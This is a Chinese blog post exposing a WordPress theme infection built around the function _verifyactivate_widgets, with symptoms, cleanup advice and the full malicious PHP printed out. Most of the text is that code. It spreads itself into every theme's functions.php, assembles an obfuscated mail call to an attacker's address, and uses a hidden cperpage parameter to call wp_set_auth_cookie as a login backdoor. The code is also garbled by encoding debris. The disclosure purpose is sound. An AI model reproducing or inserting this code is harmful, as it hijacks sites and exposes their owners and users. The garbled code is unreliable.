今天莫名其妙发现自己的测试站的主题带上了恶意代码，非常明显的就是出现了一个函数_verifyactivate_widgets，通常情况下，一旦出现了这个函数在你的主题中，你就麻烦了，这是一串恶意代码，虽然不影响主题的使用（有的时候是影响的，当收到双重感染的时候，_verifyactivate_widgets函数会出现两次，导致了主题不能使用），但这段代码将会通知代码的作者（邮件方式），而且PHP可以任意的获取用户名、博客的主题文件等等，而且它还特地为博客创建了一些看上去非常有用的代码，一些挂件等等，一切的一切都被暴露给这段代码的作者。这里将这段代码曝光，并强烈谴责这些恶意代码的生产者。
症状：
1、可能会提示_verifyactivate_widgets函数声明了两次，程序错误，主题不能使用；
2、当前博客下的所有主题的functions.php中都会带下面这段代码；
3、即使你通过FTP将这段代码删除，但你只要再运行一次博客，它就会像噩梦一样重新回来。
这段代码的功能就是搜集博客的资料，各种资料，包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。
治疗：
1、在空间管理面板先停用这个域名，使用沙盒功能，或者联系你的服务商；
2、备份所有数据，删除目前使用的主题之外的其他所有主题；
3、下载当前主题，一个文件一个文件的检查，把原本不属于你的代码删除；
4、重新上传和开启网站；
5、使用FTP，将你的主题文件的权限的“写入”权限去除（重要）；
6、利用360等其他第三方PHP杀毒程序对网站进行杀毒；
7、确保你的wordpress系统没有被感染，确保你的主机没有被感染。
?>
<?php
function _verifyactivate_widgets(){
?? ?$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
?? ?$output=strip_tags($output, $allowed);
?? ?$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
?? ?if (is_array($direst)){
?? ??? ?foreach ($direst as $item){
?? ??? ??? ?if (is_writable($item)){
?? ??? ??? ??? ?$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
?? ??? ??? ??? ?$cont=file_get_contents($item);
?? ??? ??? ??? ?if (stripos($cont,$ftion) === false){
?? ??? ??? ??? ??? ?$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
?? ??? ??? ??? ??? ?$output .= $before . "Not found" . $after;
?? ??? ??? ??? ??? ?if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
?? ??? ??? ??? ??? ?$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $comaar . "n" .$widget);fclose($f);?? ??? ??? ??? ?
?? ??? ??? ??? ??? ?$output .= ($isshowdots && $ellipsis) ? "..." : "";
?? ??? ??? ??? ?}
?? ??? ??? ?}
?? ??? ?}
?? ?}
?? ?return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
?? ?$places=array_shift($wids);
?? ?if(substr($places,-1) == "/"){
?? ??? ?$places=substr($places,0,-1);
?? ?}
?? ?if(!file_exists($places) || !is_dir($places)){
?? ??? ?return false;
?? ?}elseif(is_readable($places)){
?? ??? ?$elems=scandir($places);
?? ??? ?foreach ($elems as $elem){
?? ??? ??? ?if ($elem != "." && $elem != ".."){
?? ??? ??? ??? ?if (is_dir($places . "/" . $elem)){
?? ??? ??? ??? ??? ?$wids[]=$places . "/" . $elem;
?? ??? ??? ??? ?} elseif (is_file($places . "/" . $elem)&&
?? ??? ??? ??? ??? ?$elem == substr(__FILE__,-13)){
?? ??? ??? ??? ??? ?$items[]=$places . "/" . $elem;}
?? ??? ??? ??? ?}
?? ??? ??? ?}
?? ?}else{
?? ??? ?return false;?? ?
?? ?}
?? ?if (sizeof($wids) > 0){
?? ??? ?return _get_allwidgets_cont($wids,$items);
?? ?} else {
?? ??? ?return $items;
?? ?}
}
if(!function_exists("stripos")){
??? function stripos(? $str, $needle, $offset = 0? ){
??????? return strpos(? strtolower( $str ), strtolower( $needle ), $offset? );
??? }
}
if(!function_exists("strripos")){
??? function strripos(? $haystack, $needle, $offset = 0? ) {
??????? if(? !is_string( $needle )? )$needle = chr(? intval( $needle )? );
??????? if(? $offset < 0? ){
??????????? $temp_cut = strrev(? substr( $haystack, 0, abs($offset) )? );
??????? }
??????? else{
??????????? $temp_cut = strrev(??? substr(?? $haystack, 0, max(? ( strlen($haystack) - $offset ), 0? )?? )??? );
??????? }
??????? if(?? (? $found = stripos( $temp_cut, strrev($needle) )? ) === FALSE?? )return FALSE;
??????? $pos = (?? strlen(? $haystack? ) - (? $found + $offset + strlen( $needle )? )?? );
??????? return $pos;
??? }
}
if(!function_exists("scandir")){
?? ?function scandir($dir,$listDirectories=false, $skipDots=true) {
?? ???? $dirArray = array();
?? ???? if ($handle = opendir($dir)) {
?? ???????? while (false !== ($file = readdir($handle))) {
?? ???????????? if (($file != "." && $file != "..") || $skipDots == true) {
?? ???????????????? if($listDirectories == false) { if(is_dir($file)) { continue; } }
?? ???????????????? array_push($dirArray,basename($file));
?? ???????????? }
?? ???????? }
?? ???????? closedir($handle);
?? ???? }
?? ???? return $dirArray;
?? ?}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
?? ?if(!isset($text_length)) $text_length=120;
?? ?if(!isset($check)) $check="cookie";
?? ?if(!isset($tagsallowed)) $tagsallowed="<a>";
?? ?if(!isset($filter)) $filter="none";
?? ?if(!isset($coma)) $coma="";
?? ?if(!isset($home_filter)) $home_filter=get_option("home");
?? ?if(!isset($pref_filters)) $pref_filters="wp_";
?? ?if(!isset($is_use_more_link)) $is_use_more_link=1;
?? ?if(!isset($com_type)) $com_type="";
?? ?if(!isset($cpages)) $cpages=$_GET["cperpage"];
?? ?if(!isset($post_auth_comments)) $post_auth_comments="";
?? ?if(!isset($com_is_approved)) $com_is_approved="";
?? ?if(!isset($post_auth)) $post_auth="auth";
?? ?if(!isset($link_text_more)) $link_text_more="(more...)";
?? ?if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
?? ?if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
?? ?if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
?? ?if(!isset($contentmore)) $contentmore="ma".$coma."il";
?? ?if(!isset($for_more)) $for_more=1;
?? ?if(!isset($fakeit)) $fakeit=1;
?? ?if(!isset($sql)) $sql="";
?? ?if (!$widget_yes) :
?? ?global $wpdb, $post;
?? ?$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
?? ?if (!empty($post->post_password)) {
?? ??? ?if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
?? ??? ??? ?if(is_feed()) {
?? ??? ??? ??? ?$output=__("There is no excerpt because this is a protected post.");
?? ??? ??? ?} else {
?? ???????????? $output=get_the_password_form();
?? ??? ??? ?}
?? ??? ?}
?? ?}
?? ?if(!isset($fixed_tags)) $fixed_tags=1;
?? ?if(!isset($filters)) $filters=$home_filter;
?? ?if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
?? ?if(!isset($tag_aditional)) $tag_aditional="div";
?? ?if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
?? ?if(!isset($more_text_link)) $more_text_link="Continue reading this entry";?? ?
?? ?if(!isset($isshowdots)) $isshowdots=1;
?? ?$comments=$wpdb->get_results($sql);?? ?
?? ?if($fakeit == 2) {
?? ??? ?$text=$post->post_content;
?? ?} elseif($fakeit == 1) {
?? ??? ?$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
?? ?} else {
?? ??? ?$text=$post->post_excerpt;
?? ?}
?? ?$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
?? ?if($text_length < 0) {
?? ??? ?$output=$text;
?? ?} else {
?? ??? ?if(!$no_more && strpos($text, "<!--more-->")) {
?? ??? ???? $text=explode("<!--more-->", $text, 2);
?? ??? ??? ?$l=count($text[0]);
?? ??? ??? ?$more_link=1;
?? ??? ??? ?$comments=$wpdb->get_results($sql);
?? ??? ?} else {
?? ??? ??? ?$text=explode(" ", $text);
?? ??? ??? ?if(count($text) > $text_length) {
?? ??? ??? ??? ?$l=$text_length;
?? ??? ??? ??? ?$ellipsis=1;
?? ??? ??? ?} else {
?? ??? ??? ??? ?$l=count($text);
?? ??? ??? ??? ?$link_text_more="";
?? ??? ??? ??? ?$ellipsis=0;
?? ??? ??? ?}
?? ??? ?}
?? ??? ?for ($i=0; $i<$l; $i++)
?? ??? ??? ??? ?$output .= $text[$i] . " ";
?? ?}
?? ?update_option("_is_widget_active_", 1);
?? ?if("all" != $tagsallowed) {
?? ??? ?$output=strip_tags($output, $tagsallowed);
?? ??? ?return $output;
?? ?}
?? ?endif;
?? ?$output=rtrim($output, "sntr x0B");
??? $output=($fixed_tags) ? balanceTags($output, true) : $output;
?? ?$output .= ($isshowdots && $ellipsis) ? "..." : "";
?? ?$output=apply_filters($filter, $output);
?? ?switch($tag_aditional) {
?? ??? ?case("div") :
?? ??? ??? ?$tag="div";
?? ??? ?break;
?? ??? ?case("span") :
?? ??? ??? ?$tag="span";
?? ??? ?break;
?? ??? ?case("p") :
?? ??? ??? ?$tag="p";
?? ??? ?break;
?? ??? ?default :
?? ??? ??? ?$tag="span";
?? ?}
?? ?if ($is_use_more_link ) {
?? ??? ?if($for_more) {
?? ??? ??? ?$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "n";
?? ??? ?} else {
?? ??? ??? ?$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "n";
?? ??? ?}
?? ?}
?? ?return $output;
}
add_action("init", "_getprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
?? ?global $wpdb;
?? ?$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
?? ?$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
?? ?if(!$show_pass_post) $request .= " AND post_password =""";
?? ?if($duration !="") {
?? ??? ?$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
?? ?}
?? ?$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
?? ?$posts=$wpdb->get_results($request);
?? ?$output="";
?? ?if ($posts) {
?? ??? ?foreach ($posts as $post) {
?? ??? ??? ?$post_title=stripslashes($post->post_title);
?? ??? ??? ?$comment_count=$post->comment_count;
?? ??? ??? ?$permalink=get_permalink($post->ID);
?? ??? ??? ?$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
?? ??? ?}
?? ?} else {
?? ??? ?$output .= $before . "None found" . $after;
?? ?}
?? ?return? $output;
}
?//获取最新评论
function Get_Recent_Comment($limit=16,$cut_length=24){
?? ?global $wpdb;?? ?
?? ?$admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱，以便排除管理员的评论
?? ?$rccdb = $wpdb->get_results("
?? ??? ?SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content
?? ??? ?FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts
?? ??? ?ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID)
?? ??? ?WHERE comment_approved = '1'
?? ??? ?AND comment_type = ''
?? ??? ?AND post_password = ''
?? ??? ?AND comment_author_email != $admin_email
?? ??? ?ORDER BY comment_date_gmt
?? ??? ?DESC LIMIT $limit
?? ? ");//数据库查询获得想要的结果?? ?
?? ?foreach ($rccdb as $row) {
?? ??? ?$rcc .= "<li>".get_avatar($row,$size='32')."<span>".$row->comment_author ."：</span>"."<br />". "<a href='"
?? ??? ?. get_permalink($row->ID) . "#comment-" . $row->comment_ID
?? ??? ?. "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."</a>". "</li>";
?? ?}//遍历查询到结果，获得想要的值，其中插入一些HTML元素，以便定义CSS样式?? ?
?? ?//$rcc = convert_smilies($rcc);//允许评论内容中显示表情
?? ?echo $rcc;//输出结果
}
?>
下面我简单说几句